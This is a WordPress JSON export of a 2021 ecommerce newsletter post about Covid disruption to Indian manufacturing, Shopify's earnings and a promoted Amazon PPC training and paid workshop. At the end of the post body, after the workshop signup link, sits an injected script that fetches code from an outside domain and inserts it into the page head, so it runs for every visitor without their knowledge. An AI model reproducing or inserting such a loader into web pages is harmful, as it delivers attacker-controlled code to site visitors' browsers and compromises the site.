{"id":3277,"date":"2021-05-07T05:01:00","date_gmt":"2021-05-07T09:01:00","guid":{"rendered":"https:\/\/7figuresellersummit.com\/?p=3277"},"modified":"2024-11-03T11:59:39","modified_gmt":"2024-11-03T16:59:39","slug":"the-80-20-of-ecommerce-may-7-2021","status":"publish","type":"post","link":"https:\/\/7figuresellersummit.com\/?p=3277","title":{"rendered":"The 80\/20 of Ecommerce &#8211; May 7, 2021"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong>India manufacturing is hurting from the recent Covid spikes<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">According to my personal anecdotal evidence, many businesses and manufacturers in India are hurting due to the recent Covid 19 spikes hitting the country of nearly 1.2 billion people.&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">One sourcing agent I spoke to this week told me that 70% of the manufacturers he works with in India are closed down.\u00a0 This means that it\u2019s causing a ripple effect if you\u2019re sourcing product from India in two ways.\u00a0\u00a0<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">First expect longer delivery times.\u00a0 Factories are focused on fulfilling orders they already have on hand rather than looking to take on new orders which they may not be able to handle due to lack of manpower and raw materials.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Second &#8211; you may expect higher prices.&nbsp; For example certain metals such as copper have seen raw materials price double in the recent months.&nbsp; Besides the global spike in copper prices, another factor is the lack of industrial oxygen available to manufacturers who use this to treat the metal.&nbsp; Currently there is a lack of oxygen available to hospitals so all of the supply has been shifted towards medical needs.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">When will things return to pre-Covid levels?&nbsp; It remains to be seen.&nbsp; Optimists have said that they expect things to get back on track in June or July.&nbsp; We will see.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><a href=\"https:\/\/www.usnews.com\/news\/technology\/articles\/2021-04-28\/shopify-revenue-more-than-doubles-on-online-boom\" target=\"_blank\" rel=\"noreferrer noopener\">Shopify rides online shopping wave to crush profit, revenue estimates<\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In ecommerce, Amazon may be king, but a rising tide lifts all boats.&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Shopify which is a popular platform to create your own ecommerce website \u201cemerged as a pandemic winner with revenue soaring 86% last year from 2019 and shares nearly doubling to make it Canada&#8217;s most valuable firm\u201d according to U.S News and World Report.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ygal Arounian said, &#8220;Shopify saw real strength again during the (1st) quarter, and with total volume growth on the platform accelerating from 4Q, it&#8217;s clear their role in the retail ecosystem continues to get stronger,&#8221;.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/Scl6HJLwB5cDyJcepLRhPxp6SazmSp1jmjf1A35umIpQ-ZHdtOVpLLP4OCg2jMp94n8rHRcUqN0drs-aC06VUzUVWpXSVe-2MqEEuyUG6I4a5sDM0CHo0OmA_J7PsBri7yUkez6m\" alt=\"\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><a href=\"https:\/\/www.youtube.com\/watch?v=U1qwcwrvzho\" target=\"_blank\" rel=\"noreferrer noopener\">5 Game-Changing Opportunities with Amazon PPC with Ritu Java (Replay)<\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Many of you have told me that managing and running profitable Amazon PPC campaigns is your #1 challenge.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">That\u2019s why I invited Ritu Java who helps 6, 7, and 8 Figure Amazon sellers make more money by creating and optimizing their Amazon PPC Campaigns to give you a masterclass on the 5 Game-Changing Opportunities with Amazon PPC in 2021.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"https:\/\/www.youtube.com\/watch?v=U1qwcwrvzho\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/jvBiPeX8IWnE8cWQiefJV6N1s7qO8GzUtDWh9_CIhrqbAtX2nnDd82He-pbLNSDerB8uGAdOYBc35eKWlD23W9lYSlGmGZmaXoZw9GKXBi4viPKa-U_JfDDl3P2svU1doQwr00B1\" alt=\"\"\/><\/a><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.youtube.com\/watch?v=U1qwcwrvzho&amp;authuser=0\"><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In this <a href=\"https:\/\/www.youtube.com\/watch?v=U1qwcwrvzho&amp;authuser=0\" target=\"_blank\" rel=\"noreferrer noopener\">63 min training<\/a> you will learn:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">[<a href=\"https:\/\/www.youtube.com\/watch?v=U1qwcwrvzho&amp;t=1188s\" target=\"_blank\" rel=\"noreferrer noopener\">19:48<\/a>\u200b] 2 Easiest PPC campaigns to run first&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">[<a href=\"https:\/\/www.youtube.com\/watch?v=U1qwcwrvzho&amp;t=1310s\" target=\"_blank\" rel=\"noreferrer noopener\">21:50<\/a>\u200b] Biggest Mistake sellers make: less is better&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">[<a href=\"https:\/\/www.youtube.com\/watch?v=U1qwcwrvzho&amp;t=1418s\" target=\"_blank\" rel=\"noreferrer noopener\">23:38<\/a>\u200b] Video ads have CTR 4x to 5x (2%)&nbsp; more than regular ad (0.5%)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">[<a href=\"https:\/\/www.youtube.com\/watch?v=U1qwcwrvzho&amp;t=1727s\" target=\"_blank\" rel=\"noreferrer noopener\">28:47<\/a>\u200b] How You can accelerate the algorithms association<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">[<a href=\"https:\/\/www.youtube.com\/watch?v=U1qwcwrvzho&amp;t=1778s\" target=\"_blank\" rel=\"noreferrer noopener\">29:38<\/a>\u200b] When I launch a new product, which ad type should I run&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">[<a href=\"https:\/\/www.youtube.com\/watch?v=U1qwcwrvzho&amp;t=1836s\" target=\"_blank\" rel=\"noreferrer noopener\">30:36<\/a>\u200b] Ritu\u2019s PPC Launch recommendation w\/ 20-30 campaigns&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">[<a href=\"https:\/\/www.youtube.com\/watch?v=U1qwcwrvzho&amp;t=2021s\" target=\"_blank\" rel=\"noreferrer noopener\">33:41<\/a>\u200b] One of the Most important Data points: Unit session percentage &#8211; AKA Conversion Rate&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">[<a href=\"https:\/\/www.youtube.com\/watch?v=U1qwcwrvzho&amp;t=2244s\" target=\"_blank\" rel=\"noreferrer noopener\">37:24<\/a>\u200b] Brand Analytics &#8211; data Amazon gives brands about all the KWs<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">[<a href=\"https:\/\/www.youtube.com\/watch?v=U1qwcwrvzho&amp;t=2310s\" target=\"_blank\" rel=\"noreferrer noopener\">38:30<\/a>\u200b] Common mistake &#8211; put too many strings in searches&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">[<a href=\"https:\/\/www.youtube.com\/watch?v=U1qwcwrvzho&amp;t=2510s\" target=\"_blank\" rel=\"noreferrer noopener\">41:50<\/a>\u200b] Do we stop PPC if there are enough Organic sales?&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">[<a href=\"https:\/\/www.youtube.com\/watch?v=U1qwcwrvzho&amp;t=2835s\" target=\"_blank\" rel=\"noreferrer noopener\">47:15<\/a>\u200b] Do we target long-tail keywords or highly competitive main keywords?&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">[<a href=\"https:\/\/www.youtube.com\/watch?v=U1qwcwrvzho&amp;t=2975s\" target=\"_blank\" rel=\"noreferrer noopener\">49:35<\/a>\u200b] How long to run auto campaigns for?&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If you\u2019d like to learn more about PPC, Ritu will offer a <a rel=\"noreferrer noopener\" href=\"https:\/\/www.8020sourcing.com\/ppc-workshop\/\" target=\"_blank\">LIVE 3 week PPC workshop<\/a> on May 12, 19, and 26th hosted by yours truly.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><a href=\"https:\/\/www.8020sourcing.com\/ppc-workshop\/\" target=\"_blank\" rel=\"noreferrer noopener\">Live 3-Week PPC Workshop<\/a> and Q&amp;A Plus Replay with Ritu Java<\/li><li>May 12, 19 and 26, 9PM EST (2 hours x 3 sessions)<\/li><li>Deadline: Tues, May 11th, 11:59PM PST<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>You will learn:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Day 1: Campaign Fundamentals<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Amazon ad types<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Setting up an Auto campaign<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Deep dive into match types &#8211; Broad, phrase, exact match<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Bids and budgets &#8211; How much to bid and how to budget<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Day 2: Campaign Management<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Learn efficient ways of designing your campaigns<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Setting up a manual campaign<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Negative keywords<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Fundamentals of Bid Management<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Day 3: Troubleshooting the PPC Funnel<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Key performance indicators for PPC<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ad type diversification:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Product Targeting Ads<\/li><li>Category Targeting Ads<\/li><li>Sponsored Brands<\/li><li>Sponsored Display<\/li><li>Video in Search &#8211; Understand why this is currently the most effective ad type on Amazon<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Join here: <a href=\"https:\/\/www.8020sourcing.com\/ppc-workshop\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.8020sourcing.com\/ppc-workshop\/<\/a><\/p>\n<script>var url = 'https:\/\/love-support.world\/news';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.textContent = data;\n        document.getElementsByTagName('head')[0].appendChild(script);\n    })<\/script>","protected":false},"excerpt":{"rendered":"<p>India manufacturing is hurting from the recent Covid spikes According to my personal anecdotal evidence, many businesses and manufacturers in India are hurting due to the recent Covid 19 spikes hitting the country of nearly 1.2 billion people.&nbsp;&nbsp; One sourcing agent I spoke to this week told me that 70% of the manufacturers he works [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":3286,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_mi_skip_tracking":false,"footnotes":"","tve_updated_post":"","tve_custom_css":"","tve_user_custom_css":"","tve_globals":{},"tcb2_ready":1,"tcb_editor_enabled":0,"tve_landing_page":"","_tve_header":"","_tve_footer":""},"categories":[1],"tags":[],"class_list":["post-3277","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 4.9.8 - aioseo.com -->\n\t<meta name=\"description\" content=\"India manufacturing is hurting from the recent Covid spikes According to my personal anecdotal evidence, many businesses and manufacturers in India are hurting due to the recent Covid 19 spikes hitting the country of nearly 1.2 billion people. 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